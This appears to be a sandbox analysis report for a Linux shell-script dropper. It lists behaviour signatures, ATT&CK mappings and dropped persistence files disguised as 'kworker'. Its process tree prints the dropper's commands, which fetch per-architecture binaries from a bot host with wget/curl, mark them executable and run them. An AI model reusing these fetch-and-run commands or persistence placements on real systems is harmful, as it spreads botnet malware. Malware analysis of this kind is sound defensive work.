Overview

overview

7

Static

static

1

78b1794c29...bin.sh

ubuntu-18.04-amd64

7

78b1794c29...bin.sh

debian-9-armhf

7

78b1794c29...bin.sh

debian-9-mips

7

78b1794c29...bin.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/10/2026, 15:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    78b1794c29c7c5e9.bin.sh
  • Size 1000B
  • Sample261003-stryjssv2p
  • SHA256 78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 5 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 4 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 5 IoCs
    persistence
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/78b1794c29c7c5e9.bin.sh
    /tmp/78b1794c29c7c5e9.bin.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/uname
      uname -m
      2⤵
        PID:653
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:657
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:659
        • /bin/rm
          rm -f .xt
          2⤵
            PID:661
          • /bin/rm
            rm -f w
            2⤵
              PID:664
            • /usr/bin/wget
              wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.armv7l
              2⤵
              • System Network Configuration Discovery
              PID:666
            • /usr/bin/curl
              curl -so w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.armv7l
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              PID:683
            • /bin/chmod
              chmod +x w
              2⤵
              • File and Directory Permissions Modification
              PID:697
            • /var/tmp/w
              ./w
              2⤵
                PID:699
              • /bin/sh
                /bin/sh ./w
                2⤵
                  PID:699
                • /bin/rm
                  rm -f w
                  2⤵
                    PID:700
                  • /usr/bin/wget
                    wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.armv7l
                    2⤵
                    • System Network Configuration Discovery
                    PID:702
                  • /usr/bin/curl
                    curl -so w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.armv7l
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    PID:733
                  • /bin/chmod
                    chmod +x w
                    2⤵
                    • File and Directory Permissions Modification
                    PID:736
                  • /var/tmp/w
                    ./w
                    2⤵
                      PID:737
                    • /bin/sh
                      /bin/sh ./w
                      2⤵
                        PID:737
                      • /bin/rm
                        rm -f w
                        2⤵
                          PID:738
                        • /usr/bin/wget
                          wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.x86_64
                          2⤵
                          • System Network Configuration Discovery
                          PID:739
                        • /bin/chmod
                          chmod +x w
                          2⤵
                          • File and Directory Permissions Modification
                          PID:770
                        • /var/tmp/w
                          ./w
                          2⤵
                            PID:771
                          • /bin/rm
                            rm -f w
                            2⤵
                              PID:773
                            • /usr/bin/wget
                              wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.aarch64
                              2⤵
                              • System Network Configuration Discovery
                              PID:774
                            • /bin/chmod
                              chmod +x w
                              2⤵
                              • File and Directory Permissions Modification
                              PID:775
                            • /var/tmp/w
                              ./w
                              2⤵
                                PID:776
                              • /bin/rm
                                rm -f w
                                2⤵
                                  PID:778
                                • /usr/bin/wget
                                  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips64
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:779
                                • /bin/chmod
                                  chmod +x w
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:780
                                • /var/tmp/w
                                  ./w
                                  2⤵
                                    PID:781
                                  • /bin/rm
                                    rm -f w
                                    2⤵
                                      PID:783
                                    • /usr/bin/wget
                                      wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.arm7
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:784
                                    • /bin/chmod
                                      chmod +x w
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:785
                                    • /var/tmp/w
                                      ./w
                                      2⤵
                                      • Creates/modifies Cron job
                                      • Creates/modifies environment variables
                                      • Modifies init.d
                                      • Modifies rc script
                                      • Modifies systemd
                                      • Write file to user bin folder
                                      • Modifies Bash startup script
                                      • Changes its process name
                                      • Enumerates kernel/hardware configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:786
                                    • /bin/rm
                                      rm -f w
                                      2⤵
                                        PID:788
                                      • /bin/rm
                                        rm -f /tmp/78b1794c29c7c5e9.bin.sh
                                        2⤵
                                          PID:790

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Reconnaissance

                                            Resource Development

                                            Initial Access

                                            Execution

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Persistence

                                            Boot or Logon Autostart Execution

                                            4
                                            T1547

                                            XDG Autostart Entries

                                            1
                                            T1547.013

                                            Boot or Logon Initialization Scripts

                                            2
                                            T1037

                                            RC Scripts

                                            2
                                            T1037.004

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Systemd Service

                                            1
                                            T1543.002

                                            Event Triggered Execution

                                            1
                                            T1546

                                            Unix Shell Configuration Modification

                                            1
                                            T1546.004

                                            Hijack Execution Flow

                                            1
                                            T1574

                                            Path Interception by PATH Environment Variable

                                            1
                                            T1574.007

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Privilege Escalation

                                            Boot or Logon Autostart Execution

                                            4
                                            T1547

                                            XDG Autostart Entries

                                            1
                                            T1547.013

                                            Boot or Logon Initialization Scripts

                                            2
                                            T1037

                                            RC Scripts

                                            2
                                            T1037.004

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Systemd Service

                                            1
                                            T1543.002

                                            Event Triggered Execution

                                            1
                                            T1546

                                            Unix Shell Configuration Modification

                                            1
                                            T1546.004

                                            Hijack Execution Flow

                                            1
                                            T1574

                                            Path Interception by PATH Environment Variable

                                            1
                                            T1574.007

                                            Scheduled Task/Job

                                            1
                                            T1053

                                            Cron

                                            1
                                            T1053.003

                                            Defense Evasion

                                            File and Directory Permissions Modification

                                            1
                                            T1222

                                            Linux and Mac File and Directory Permissions Modification

                                            1
                                            T1222.002

                                            Hijack Execution Flow

                                            1
                                            T1574

                                            Path Interception by PATH Environment Variable

                                            1
                                            T1574.007

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            System Checks

                                            1
                                            T1497.001

                                            Credential Access

                                            Discovery

                                            System Information Discovery

                                            1
                                            T1082

                                            System Network Configuration Discovery

                                            1
                                            T1016

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            System Checks

                                            1
                                            T1497.001

                                            Lateral Movement

                                            Collection

                                            Command and Control

                                            Exfiltration

                                            Impact

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            kworker
                                            • Path /etc/cron.d/kworker
                                            • Size 269B
                                            • SHA256 d981ee0b6f29343ebfcf1b651ed3d7622b6a67afd19dca3e18b112cc17ab6bb8
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker
                                            • Path /etc/cron.hourly/kworker
                                            • Size 215B
                                            • SHA256 db38c1bd7072e0df20120e8fb6d1b1f8814ab09b8c7c2d951a36d5efc6da704b
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker
                                            • Path /etc/dhcp/dhclient-enter-hooks.d/kworker
                                            • Size 231B
                                            • SHA256 2cbc0ec5bee2a9cc171734811df2a1d7f5b4ef1057e674c4af306c81bfb43c21
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker
                                            • Path /etc/init.d/kworker
                                            • Size 274B
                                            • SHA256 f2249548469d6df1b5eef7e197104f56cfc08cc17a274932de8280eb06fa14a1
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker.sh
                                            • Path /etc/profile.d/kworker.sh
                                            • Size 222B
                                            • SHA256 ac8a5cb493d755162ae7195dffb679e2452c401fd1b9f5898f00cb5ad0aee4b6
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            rc.local
                                            • Path /etc/rc.local
                                            • Size 13B
                                            • SHA256 b95c4bf6101e94b5e07404560d331b48555c12d59a42e8f5518928c15d7e99e1
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            rc.local
                                            • Path /etc/rc.local
                                            • Size 235B
                                            • SHA256 678c57021b3815dfb1e04be8be63ac5afec7c877cc692f73cc34459ef480ff96
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            sshrc
                                            • Path /etc/ssh/sshrc
                                            • Size 221B
                                            • SHA256 f46eaa2d91024e67bd15bb41135df4ac062243ddd2c539076c16fd22a538e2ac
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker.service
                                            • Path /etc/systemd/system/kworker.service
                                            • Size 520B
                                            • SHA256 d925ac344afc831f5dd9223ed461233a5776b016fe5809cd73e486ff4c1c1e5d
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            kworker
                                            • Path /etc/update-motd.d/kworker
                                            • Size 222B
                                            • SHA256 cde8b0d64625cbb96666adc503939d28a9570acba0c722fd8e44c573f36cdf3f
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            .kwlog
                                            • Path /tmp/.kwlog
                                            • Size 329B
                                            • SHA256 1085627b212669d454e7a10c986a7ec3e9033c1c759d845a91d59b28f81e32c7
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            wife.lock
                                            • Path /tmp/wife.lock
                                            • Size 4B
                                            • SHA256 d928266e89b1da2263838e86df3a430548ca1768bedbc9d4b20f9e370d5518df
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            ksoftirqd.789.tmp
                                            • Path /usr/bin/ksoftirqd.789.tmp
                                            • Size 73KB
                                            • SHA256 a5b40d58f388618d27af28355282629cf54f3d3cd69a1020846c36d1186a9a3e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            root
                                            • Path /var/spool/cron/crontabs/root
                                            • Size 216B
                                            • SHA256 a2290ae35313d2a5e6401acd544b5b61edc157c1159a8491263446c85507580c
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            .xt
                                            • Path /var/tmp/.xt
                                            • Size 10B
                                            • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            .xt
                                            • Path /var/tmp/.xt
                                            • Size 17B
                                            • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            w
                                            • Path /var/tmp/w
                                            • Size 162B
                                            • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            w
                                            • Path /var/tmp/w
                                            • Size 75KB
                                            • SHA256 1abf6f8b0d3e4b7fa86102bd400e91b0933e0d0dcaf90c11f91e6397e9661633
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            w
                                            • Path /var/tmp/w
                                            • Size 79KB
                                            • SHA256 c2246563b2f7806e6d032d6c85bb44d7369499055aa6b5bc890ffc27668c30f7
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            w
                                            • Path /var/tmp/w
                                            • Size 251KB
                                            • SHA256 f8fd57588c72ac9981d52dd19b5180c77d7a1dc107a21da6cb0a8e1886d06b0f
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download